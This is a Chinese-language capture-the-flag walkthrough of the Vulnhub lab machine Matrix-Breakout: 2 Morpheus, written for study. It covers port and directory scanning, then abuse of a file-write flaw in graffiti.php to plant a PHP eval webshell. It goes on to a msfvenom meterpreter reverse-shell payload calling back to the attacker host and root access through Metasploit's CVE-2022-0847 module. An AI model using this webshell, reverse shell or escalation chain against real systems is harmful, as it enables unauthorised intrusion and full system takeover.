Vulnhub靶场 Matrix-Breakout: 2 Morpheus 练习
目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 1. 文件上传
- 2. 提权
- 0x04 总结
0x00 准备
下载连接:https://download.vulnhub.com/matrix-breakout/matrix-breakout-2-morpheus.ova
介绍:
This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.
Difficulty: Medium-Hard
0x01 主机信息收集
kali的IP地址:192.168.119.128
探测目标主机的IP地址:netdiscover -i eth0 -r 192.168.119.128/24
目标主机的IP地址:192.168.119.135
探测目标主机的开放端口:nmap -sV -p 1-65535 -A 192.168.119.135
开放了22端口,openssh8.4;80端口,apache httpd2.4.51;81端口,nginx 1.18.0。
0x02 站点信息收集
访问80端口:http://192.168.119.135/
探测这个站点的目录结构:dirsearch -u 192.168.119.135
只扫描出来两个,这两个目录看了一下都没有什么有效的信息。
再访问一下81端口,是一个登录弹窗:
这里试了一下常规的几个弱口令,以及空密码之类的都无法登录。
再用ffuf进行文件爆破,执行命令:ffuf -u http://192.168.119.135/FUZZ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -c -ic -e .txt,.zip,.php,html
其中:-c参数是启用彩色输出,在终端中用不同的颜色显示不同的输出内容,帮助用户快速区分重要信息(例如状态码、长度、词数等)。-ic参数是启用大小写不敏感,在匹配爆破结果的时候忽略大小写。-e参数用于指定文件的扩展名,这里制定了几个比较敏感的类型。
可以看到 graffiti.txt 和 graffiti.php 两个文件。其中 txt文件是一些提示语,php文件可以输入message,并且显示在页面上:
0x03 漏洞查找与利用
1. 文件上传
http://192.168.119.135/graffiti.php 页面中会将我们输入的内容显示出来,可以考虑试一下xss,输入:
发现可以正常弹窗。
提交数据00000,再抓包看一下:
message参数后面是提交的数据,后面还跟了一个file参数,是前面扫描出来的一个文件,访问一下:http://192.168.119.135/graffiti.txt
发现之前提交的数据都在这个txt文件中展示出来了,也就是说message参数提交的内容会被保存到file参数中的文件,那就可以利用这个来上传webshell。
可以用伪协议查看一下graffiti.php的源代码。
要使用 PHP 伪协议读取 PHP 文件的源代码,可以通过 php://filter 配合 一些过滤器来获取文件的原始内容,而不执行其中的 PHP 代码。这里可以使用base64编码的过滤器convert.base64-encode
,将读取的数据进行 Base64 编码。再对获取到的内容进行解码。
把file参数的内容换成:php://filter/read=convert.base64-encode/resource=graffiti.php
graffiti.php的源代码如下:
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<?php
$file="graffiti.txt";
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if (isset($_POST['file'])) {
$file=$_POST['file'];
}
if (isset($_POST['message'])) {
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
fwrite($handle, $_POST['message']);
fwrite($handle, "\n");
fclose($file);
}
}
// Display file
$handle = fopen($file,"r");
while (!feof($handle)) {
echo fgets($handle);
echo "<br>\n";
}
fclose($handle);
?>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000
00000
<br>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
00000
00000
这段php代码的功能是先判断是否是post请求,如果是post请求再处理提交的数据。如果提交的数据中有file字段,就把message的数据写入到file文件中。这里写入的时候,fopen($file, 'a+')
,a+也就是附加模式打开文件,如果文件不存在就会创建文件。并且对用户提交的message内容和file内容完全没有过滤和处理。
这样就验证了思路的可行性,利用message参数指定webshell的内容,利用file参数指定webshell的文件。将message参数的值设为:<?php eval($_POST['123456']);?>
,将file的值设为123.php:
访问:http://192.168.119.135/123.php
使用蚁剑连接:
2. 提权
在msf中开启一个监听端口:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.119.128
run
监听了4444端口。
再生成一个msf的木马:msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.119.128 lport=4444 -f elf > 4444.elf
将生成的木马利用蚁剑上传到 /tmp 目录下。
在蚁剑的终端中,进入/tmp目录:cd /tmp
给这个文件执行权限:chmod +x 4444.elf
执行文件:./4444.elf
再去msf中看到成功:
在msf中输入bg,把当前这个会话模块放入后台,这个会话的序号是 1 :
在蚁剑终端中查看靶机的系统版本:uname -a,是 linux5.10。
然后使用msf中的其他模块进行提权:search linux 5.10
使用第一个CVE-2022-0847:use 0
查看选项:show options
设置lhost:set 192.168.119.128
因为4444端口被占用了,所以把端口也设置一下:set rport 9999
设置会话:set session 1
攻击:run
进入/root 目录下,查看FLAG.txt 文件的内容:
0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放的端口和服务。
站点信息收集:
- 扫描站点目录。
- 文件爆破,发现文件上传点。
漏洞利用:
- 上传webshell。
- 利用msf生成木马。
- 利用CVE-2022-0847进行提权。